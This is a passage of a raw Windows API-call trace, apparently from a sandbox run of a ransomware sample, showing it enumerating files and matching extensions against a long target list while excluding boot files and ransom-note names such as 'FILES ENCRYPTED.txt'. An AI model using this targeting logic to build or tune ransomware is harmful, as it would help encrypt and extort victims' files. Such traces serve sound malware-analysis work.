dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.311] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.312] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.312] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.312] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.313] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0183.313] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA") returned 100 [0183.313] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA") returned 1 [0183.313] lstrlenW (lpString="en-CA") returned 5 [0183.313] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-CA") returned -1 [0183.313] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.313] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA") returned 100 [0183.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.314] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.314] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x923d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.314] lstrlenW (lpString="index.html") returned 10 [0183.314] lstrlenW (lpString=".1cd") returned 4 [0183.314] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.314] lstrlenW (lpString=".3ds") returned 4 [0183.315] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".3fr") returned 4 [0183.315] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".3g2") returned 4 [0183.315] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".3gp") returned 4 [0183.315] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".7z") returned 3 [0183.315] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.315] lstrlenW (lpString=".accda") returned 6 [0183.315] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".accdb") returned 6 [0183.315] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".accdc") returned 6 [0183.315] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".accde") returned 6 [0183.315] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".accdt") returned 6 [0183.315] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".accdw") returned 6 [0183.315] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.315] lstrlenW (lpString=".adb") returned 4 [0183.315] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".adp") returned 4 [0183.315] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".ai") returned 3 [0183.315] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.315] lstrlenW (lpString=".ai3") returned 4 [0183.315] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".ai4") returned 4 [0183.315] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.315] lstrlenW (lpString=".ai5") returned 4 [0183.316] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".ai6") returned 4 [0183.316] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".ai7") returned 4 [0183.316] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".ai8") returned 4 [0183.316] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".anim") returned 5 [0183.316] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.316] lstrlenW (lpString=".arw") returned 4 [0183.316] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".as") returned 3 [0183.316] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.316] lstrlenW (lpString=".asa") returned 4 [0183.316] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".asc") returned 4 [0183.316] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".ascx") returned 5 [0183.316] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.316] lstrlenW (lpString=".asm") returned 4 [0183.316] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".asmx") returned 5 [0183.316] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.316] lstrlenW (lpString=".asp") returned 4 [0183.316] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.316] lstrlenW (lpString=".aspx") returned 5 [0183.317] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.317] lstrlenW (lpString=".asr") returned 4 [0183.317] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".asx") returned 4 [0183.317] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".avi") returned 4 [0183.317] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".avs") returned 4 [0183.317] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".backup") returned 7 [0183.317] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.317] lstrlenW (lpString=".bak") returned 4 [0183.317] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".bay") returned 4 [0183.317] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".bd") returned 3 [0183.317] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.317] lstrlenW (lpString=".bin") returned 4 [0183.317] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".bmp") returned 4 [0183.317] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".bz2") returned 4 [0183.317] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.317] lstrlenW (lpString=".c") returned 2 [0183.318] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.318] lstrlenW (lpString=".cdr") returned 4 [0183.318] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cer") returned 4 [0183.318] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cf") returned 3 [0183.318] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.318] lstrlenW (lpString=".cfc") returned 4 [0183.318] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cfm") returned 4 [0183.318] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cfml") returned 5 [0183.318] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.318] lstrlenW (lpString=".cfu") returned 4 [0183.318] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".chm") returned 4 [0183.318] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cin") returned 4 [0183.318] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".class") returned 6 [0183.318] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.318] lstrlenW (lpString=".clx") returned 4 [0183.318] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".config") returned 7 [0183.318] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.318] lstrlenW (lpString=".cpp") returned 4 [0183.318] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".cr2") returned 4 [0183.318] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".crt") returned 4 [0183.318] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.318] lstrlenW (lpString=".crw") returned 4 [0183.319] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".cs") returned 3 [0183.319] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.319] lstrlenW (lpString=".css") returned 4 [0183.319] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".csv") returned 4 [0183.319] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".cub") returned 4 [0183.319] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dae") returned 4 [0183.319] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dat") returned 4 [0183.319] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".db") returned 3 [0183.319] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.319] lstrlenW (lpString=".dbf") returned 4 [0183.319] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dbx") returned 4 [0183.319] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dc3") returned 4 [0183.319] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dcm") returned 4 [0183.319] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dcr") returned 4 [0183.319] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".der") returned 4 [0183.319] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.319] lstrlenW (lpString=".dib") returned 4 [0183.320] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dic") returned 4 [0183.320] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dif") returned 4 [0183.320] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".divx") returned 5 [0183.320] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".djvu") returned 5 [0183.320] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".dng") returned 4 [0183.320] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".doc") returned 4 [0183.320] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".docm") returned 5 [0183.320] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".docx") returned 5 [0183.320] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".dot") returned 4 [0183.320] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dotm") returned 5 [0183.320] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".dotx") returned 5 [0183.320] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.320] lstrlenW (lpString=".dpx") returned 4 [0183.320] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dqy") returned 4 [0183.320] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dsn") returned 4 [0183.320] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dt") returned 3 [0183.320] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.320] lstrlenW (lpString=".dtd") returned 4 [0183.320] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.320] lstrlenW (lpString=".dwg") returned 4 [0183.320] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".dwt") returned 4 [0183.321] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".dx") returned 3 [0183.321] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.321] lstrlenW (lpString=".dxf") returned 4 [0183.321] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".edml") returned 5 [0183.321] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.321] lstrlenW (lpString=".efd") returned 4 [0183.321] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".elf") returned 4 [0183.321] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".emf") returned 4 [0183.321] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".emz") returned 4 [0183.321] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".epf") returned 4 [0183.321] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".eps") returned 4 [0183.321] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".epsf") returned 5 [0183.321] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.321] lstrlenW (lpString=".epsp") returned 5 [0183.321] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.321] lstrlenW (lpString=".erf") returned 4 [0183.321] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".exr") returned 4 [0183.321] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.321] lstrlenW (lpString=".f4v") returned 4 [0183.322] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".fido") returned 5 [0183.322] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.322] lstrlenW (lpString=".flm") returned 4 [0183.322] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".flv") returned 4 [0183.322] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".frm") returned 4 [0183.322] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".fxg") returned 4 [0183.322] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".geo") returned 4 [0183.322] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".gif") returned 4 [0183.322] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".grs") returned 4 [0183.322] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".gz") returned 3 [0183.322] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.322] lstrlenW (lpString=".h") returned 2 [0183.322] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.322] lstrlenW (lpString=".hdr") returned 4 [0183.322] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".hpp") returned 4 [0183.322] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".hta") returned 4 [0183.322] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".htc") returned 4 [0183.322] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".htm") returned 4 [0183.322] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.322] lstrlenW (lpString=".html") returned 5 [0183.323] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.323] lstrlenW (lpString="index.html") returned 10 [0183.323] lstrlenW (lpString=".NEWS") returned 5 [0183.323] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0183.323] lstrlenW (lpString="index.html") returned 10 [0183.323] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0183.323] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0183.323] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0183.323] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0183.323] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0183.323] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0183.323] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0183.323] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0183.323] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html") returned 111 [0183.323] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.323] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.323] lstrlenW (lpString=".1cd") returned 4 [0183.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.323] lstrlenW (lpString=".3ds") returned 4 [0183.323] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.323] lstrlenW (lpString=".3fr") returned 4 [0183.323] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.323] lstrlenW (lpString=".3g2") returned 4 [0183.323] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.323] lstrlenW (lpString=".3gp") returned 4 [0183.323] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.323] lstrlenW (lpString=".7z") returned 3 [0183.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.323] lstrlenW (lpString=".accda") returned 6 [0183.324] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".accdb") returned 6 [0183.324] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".accdc") returned 6 [0183.324] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".accde") returned 6 [0183.324] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".accdt") returned 6 [0183.324] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".accdw") returned 6 [0183.324] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.324] lstrlenW (lpString=".adb") returned 4 [0183.324] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".adp") returned 4 [0183.324] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai") returned 3 [0183.324] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.324] lstrlenW (lpString=".ai3") returned 4 [0183.324] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai4") returned 4 [0183.324] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai5") returned 4 [0183.324] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai6") returned 4 [0183.324] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai7") returned 4 [0183.324] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".ai8") returned 4 [0183.324] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.324] lstrlenW (lpString=".anim") returned 5 [0183.324] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.324] lstrlenW (lpString=".arw") returned 4 [0183.325] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".as") returned 3 [0183.325] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.325] lstrlenW (lpString=".asa") returned 4 [0183.325] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".asc") returned 4 [0183.325] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".ascx") returned 5 [0183.325] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.325] lstrlenW (lpString=".asm") returned 4 [0183.325] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".asmx") returned 5 [0183.325] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.325] lstrlenW (lpString=".asp") returned 4 [0183.325] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".aspx") returned 5 [0183.325] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.325] lstrlenW (lpString=".asr") returned 4 [0183.325] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".asx") returned 4 [0183.325] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".avi") returned 4 [0183.325] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".avs") returned 4 [0183.325] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".backup") returned 7 [0183.325] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.325] lstrlenW (lpString=".bak") returned 4 [0183.325] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".bay") returned 4 [0183.325] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.325] lstrlenW (lpString=".bd") returned 3 [0183.326] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.326] lstrlenW (lpString=".bin") returned 4 [0183.326] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".bmp") returned 4 [0183.326] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".bz2") returned 4 [0183.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".c") returned 2 [0183.326] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.326] lstrlenW (lpString=".cdr") returned 4 [0183.326] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".cer") returned 4 [0183.326] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".cf") returned 3 [0183.326] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.326] lstrlenW (lpString=".cfc") returned 4 [0183.326] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".cfm") returned 4 [0183.326] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".cfml") returned 5 [0183.326] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.326] lstrlenW (lpString=".cfu") returned 4 [0183.326] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.326] lstrlenW (lpString=".chm") returned 4 [0183.329] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.329] lstrlenW (lpString=".cin") returned 4 [0183.329] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.329] lstrlenW (lpString=".class") returned 6 [0183.329] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.329] lstrlenW (lpString=".clx") returned 4 [0183.329] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.329] lstrlenW (lpString=".config") returned 7 [0183.329] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.329] lstrlenW (lpString=".cpp") returned 4 [0183.329] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.329] lstrlenW (lpString=".cr2") returned 4 [0183.330] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.330] lstrlenW (lpString=".crt") returned 4 [0183.330] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.330] 